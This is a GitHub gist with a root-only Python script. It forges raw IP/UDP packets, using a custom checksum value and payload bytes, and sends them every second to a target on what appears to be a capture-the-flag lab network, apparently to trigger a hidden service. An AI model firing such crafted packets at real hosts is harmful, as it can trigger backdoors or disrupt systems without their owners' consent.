Skip to content

Instantly share code, notes, and snippets.

@bas-kirill
Created November 4, 2023 16:02

Revisions

  1. bas-kirill created this gist Nov 4, 2023.
    38 changes: 38 additions & 0 deletions gistfile1.txt
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,38 @@
    #!/usr/bin/env python3
    import socket
    from struct import pack
    from time import sleep

    # |--------------- UDP HEADER --------------|
    # | SOURCE PORT | DESTINATION PORT | = 32 bits
    # |--------------------|--------------------|
    # | LENGTH | CHECKSUM | = 32 bits
    # |-----------------------------------------|

    def ip_header(src, dst):
    return pack("!BBHHHBBH4s4s", 69, 0, 0, 1, 0, 64, 17, 0, socket.inet_aton(src), socket.inet_aton(dst))

    # pack function allows you to pack different values (bytes, shorts, ints, strings ) into bytes
    # Format:
    # ! - network byte order
    # B unsigned char
    # H unsigned short
    # I unsigned int
    # L unsigned long
    # Q unsigned long long
    # s char[]

    my_ip = '10.10.11.157' # change to your ip
    target_ip = '10.10.11.65'
    # Warning: you need r00t to run this
    # Good luck (:
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    sock.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
    ip_hdr = ip_header(my_ip, target_ip)

    udp_hdr = pack("!HHHH", 0, 0, 32, 4919)
    data = pack("!BBB", 115, 49, 3)

    while True:
    sock.sendto(ip_hdr + udp_hdr + data, (target_ip, 0))
    sleep(1)